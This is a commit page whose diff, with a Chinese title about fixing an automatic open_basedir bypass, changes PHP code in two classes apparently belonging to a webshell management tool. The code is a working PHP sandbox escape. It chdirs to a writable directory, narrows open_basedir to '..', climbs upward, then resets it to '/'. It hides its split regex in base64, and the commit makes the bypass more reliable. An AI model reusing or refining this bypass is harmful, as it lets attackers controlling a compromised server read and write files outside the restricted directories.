Commit 0b08d72c authored by Medicean's avatar Medicean Committed by Medicean

(Fix: Core/php) 修复 auto bypass openbasedir 问题

parent 52762b92
...@@ -93,7 +93,7 @@ class PHP extends Base { ...@@ -93,7 +93,7 @@ class PHP extends Base {
$opdir=@ini_get("open_basedir"); $opdir=@ini_get("open_basedir");
if($opdir) { if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]); $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split("/;|:/",$opdir); $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir()); @array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) { foreach($oparr as $item) {
if(!@is_writable($item)){ if(!@is_writable($item)){
...@@ -104,6 +104,7 @@ class PHP extends Base { ...@@ -104,6 +104,7 @@ class PHP extends Base {
if(!@file_exists($tmdir)){ if(!@file_exists($tmdir)){
continue; continue;
} }
$tmdir=realpath($tmdir);
@chdir($tmdir); @chdir($tmdir);
@ini_set("open_basedir", ".."); @ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir); $cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir);
......
...@@ -86,7 +86,7 @@ class PHPRAW extends Base { ...@@ -86,7 +86,7 @@ class PHPRAW extends Base {
$opdir=@ini_get("open_basedir"); $opdir=@ini_get("open_basedir");
if($opdir) { if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]); $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("/;|:/"),$opdir); $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir()); @array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) { foreach($oparr as $item) {
if(!@is_writable($item)){ if(!@is_writable($item)){
...@@ -97,10 +97,11 @@ class PHPRAW extends Base { ...@@ -97,10 +97,11 @@ class PHPRAW extends Base {
if(!@file_exists($tmdir)){ if(!@file_exists($tmdir)){
continue; continue;
} }
$tmdir=realpath($tmdir);
@chdir($tmdir); @chdir($tmdir);
@ini_set("open_basedir", ".."); @ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir); $cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){ for($i=0;$i<sizeof($cntarr)+5;$i++){
@chdir(".."); @chdir("..");
}; };
@ini_set("open_basedir","/"); @ini_set("open_basedir","/");
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment